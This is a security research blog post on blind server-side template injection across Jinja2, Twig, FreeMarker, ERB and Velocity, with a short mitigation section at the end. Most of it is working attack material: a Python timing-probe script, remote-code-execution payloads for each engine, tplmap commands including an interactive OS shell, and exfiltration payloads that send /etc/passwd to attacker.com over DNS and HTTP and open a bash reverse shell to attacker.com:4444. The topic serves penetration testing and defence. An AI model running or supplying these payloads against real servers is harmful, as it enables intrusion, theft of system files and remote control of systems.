Blind SSTI to RCE: Exploiting Template Engines Without Output | Tağmaç - root@Tagoletta:~#

Blind SSTI to RCE: Exploiting Template Engines Without Output

Thu May 28 2026

Category: Security Research

Introduction: No Output Means No Vulnerability?

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template engine's processing context rather than passed as a safe variable. In the classic case, the application reflects {{7*7}} as 49, immediately confirming the vulnerability.

Real-world deployments are rarely this cooperative.

Blind SSTI: The application executes the template expression but never reflects the result back to the caller. It might write to a log, pass the output to an internal service, or silently compute and discard it. The attacker still achieves full RCE — without ever seeing a single byte of direct output.

What Is a Template Engine?

A template engine merges static markup with runtime data to produce output. Common ones across web stacks:

Engine Platform Syntax
Jinja2 Python (Flask, Django) {{ }}, {% %}
Twig PHP (Symfony, Drupal) {{ }}, {% %}
FreeMarker Java (Spring) ${ }, <#>
ERB Ruby (Rails) <%= %>
Velocity Java $var, #directive
Smarty PHP {$var}
Pebble Java {{ }}

The vulnerability appears when user input is interpolated directly into the template string rather than bound as a variable:

# Vulnerable Flask example
from flask import Flask, render_template_string, request

@app.route('/greet')
def greet():
    name = request.args.get('name')
    return render_template_string(f"Hello {name}!")   # WRONG
    # Correct: render_template_string("Hello {{ name }}!", name=name)

?name={{7*7}}Hello 49! — with output. Remove the output and you get blind SSTI.

Engine Fingerprinting: Distinguishing Responses

Even without direct output, different engines respond differently to the same payload, producing measurable side effects.

Type coercion arithmetic — the key discriminator:

{{7*'7'}}
  • Jinja2: 7777777 (string repetition)
  • Twig: 49 (numeric coercion)
  • FreeMarker: Error (type mismatch)

This distinction carries over into blind mode: timing differences, error codes, or OOB callbacks will differ depending on which engine evaluated the expression.

Full polyglot probe set:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
${{7*7}}

Each line targets a different engine's delimiter syntax. Injection points worth testing: GET/POST parameters, HTTP headers, JSON body fields, URL path segments, cookie values, and User-Agent.

Blind Detection: Timing-Based

When no output is reflected, response delay becomes the signal. A successful sleep call inside the template proves execution.

Jinja2 — subclass traversal sleep:

{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5', shell=True, stdout=-1).communicate()}}

The subprocess.Popen subclass index varies by Python version. Iterate indices until the 5-second delay is observed.

FreeMarker — Execute class:

${"freemarker.template.utility.Execute"?new()("sleep 5")}

FreeMarker's Execute utility class runs system commands directly.

Twig — filter system:

{{['sleep 5']|filter('system')}}

Timing probe in Python:

import requests, time

target = "http://target.com/profile/update"
baseline = requests.post(target, data={"bio": "hello"}, timeout=15).elapsed.total_seconds()

payloads = [
    # Jinja2
    "{{''.__class__.__mro__[1].__subclasses__()[199]('sleep 5',shell=True,stdout=-1).communicate()}}",
    # FreeMarker
    '${"freemarker.template.utility.Execute"?new()("sleep 5")}',
    # Twig
    "{{['sleep 5']|filter('system')}}",
]

for payload in payloads:
    t0 = time.time()
    requests.post(target, data={"bio": payload}, timeout=15)
    elapsed = time.time() - t0
    if elapsed > baseline + 4:
        print(f"[!] Blind SSTI confirmed: {elapsed:.1f}s delay")
        print(f"    Payload: {payload[:60]}...")

Blind Detection: Out-of-Band (DNS/HTTP Callback)

Timing is noisy in high-latency environments. Out-of-band callbacks provide a clean, reliable signal. Use Burp Collaborator or interactsh to receive callbacks.

Jinja2 — DNS lookup:

{{config.__class__.__init__.__globals__['os'].popen('nslookup YOUR_COLLABORATOR_HOST').read()}}

Jinja2 — HTTP callback:

{{config.__class__.__init__.__globals__['os'].popen('curl http://YOUR_COLLABORATOR_HOST/ssti').read()}}

FreeMarker — DNS lookup:

${"freemarker.template.utility.Execute"?new()("nslookup YOUR_COLLABORATOR_HOST")}

Twig — HTTP callback:

{{['curl http://YOUR_COLLABORATOR_HOST/ssti']|filter('system')}}

A DNS or HTTP interaction on your collaborator proves blind SSTI execution without any application output.

Blind Detection: Error-Based

Deliberately malformed syntax produces different HTTP status codes or error signatures across engines — even when error details are suppressed in the response body.

{{% invalid_syntax %}}
${{ bad_expr }}
<%= bad_ruby_expr %>
Engine Observable signal
Jinja2 HTTP 500, jinja2.exceptions.TemplateSyntaxError
Twig HTTP 500, Twig_Error_Syntax
FreeMarker HTTP 500, freemarker.core.ParseException
ERB HTTP 500, SyntaxError

Status code changes alone (200 → 500 → 200 in A/B testing) can confirm SSTI execution even with fully sanitized error pages.

RCE Payloads by Engine

Once the engine is confirmed:

Jinja2 (Python) — direct via config:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Jinja2 — via request object (when config is unavailable):

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Jinja2 — subclass traversal (sandbox scenarios):

# Step 1: enumerate subclasses to find subprocess.Popen index
{{''.__class__.__mro__[1].__subclasses__()}}

# Step 2: execute with discovered index
{{''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()}}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Or more directly:

{{['id']|filter('system')}}
{{['id', '']|sort('system')}}

FreeMarker (Java):

${"freemarker.template.utility.Execute"?new()("id")}

Multi-line assignment syntax:

<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

ERB (Ruby):

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Velocity (Java) — via Runtime reflection:

#set($rt = "".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($proc = $rt.exec("id"))
#set($is = $proc.getInputStream())
#set($reader = "".class.forName("java.io.BufferedReader").getDeclaredConstructors()[0].newInstance($is))
$reader.readLine()

Automation: tplmap

tplmap is to SSTI what sqlmap is to SQL injection — automated detection and exploitation across all major engines.

git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Scan GET parameter
python tplmap.py -u "http://target.com/greet?name=test"

# Scan POST parameter
python tplmap.py -u "http://target.com/profile" -d "bio=test"

# Scan cookie
python tplmap.py -u "http://target.com/" --cookie "template=test"

# Run OS command
python tplmap.py -u "http://target.com/greet?name=test" --os-cmd "id"

# Drop to interactive OS shell
python tplmap.py -u "http://target.com/greet?name=test" --os-shell

tplmap tests Jinja2, Twig, FreeMarker, ERB, Velocity, Smarty, Mako, Pebble, and more — including blind detection via timing and OOB callbacks.

Data Exfiltration in Blind Context

With RCE confirmed but no output channel, use the network itself:

File contents via DNS (base64-chunked):

{{config.__class__.__init__.__globals__['os'].popen(
  'cat /etc/passwd | base64 | tr -d "\\n" | fold -w 63 | while read chunk; do nslookup "$chunk.attacker.com"; done'
).read()}}

File contents via HTTP POST:

{{config.__class__.__init__.__globals__['os'].popen(
  'curl -d @/etc/passwd http://attacker.com/collect'
).read()}}

Reverse shell:

{{config.__class__.__init__.__globals__['os'].popen(
  'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
).read()}}

Mitigation

1. Never interpolate user input into template strings:

# Vulnerable
render_template_string(f"Hello {user_input}!")

# Safe — user input bound as a variable, never part of template syntax
render_template_string("Hello {{ name }}!", name=user_input)

2. Use sandboxed environments:

# Jinja2 SandboxedEnvironment blocks __class__, __mro__, __subclasses__
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
result = template.render(name=user_name)

3. Allowlist template variables:

ALLOWED_VARS = {'username', 'email', 'date'}
safe_context = {k: v for k, v in context.items() if k in ALLOWED_VARS}

4. Restrict to safe placeholder formats: If users need custom templates, expose a limited {username} placeholder system — not full engine syntax.

5. WAF signature: Block template delimiters at input boundaries: {{, ${, <%=, #{, <#, *{.

Conclusion

Blind SSTI is not an invisible vulnerability — it simply requires a different measurement strategy. Timing delays, DNS callbacks, and error code variations each provide detection signals that don't depend on any application output. Once the engine is fingerprinted, the same RCE payloads that work in reflected SSTI apply equally here.

The fix is architectural: user input is data, not code. Pass it as a bound variable to the template context. If that single boundary is maintained, no template payload — blind or otherwise — can execute.


Research: James Kettle / PortSwigger, Emilio Pinna (tplmap)
Reference: https://portswigger.net/research/server-side-template-injection
Tool: https://github.com/epinna/tplmap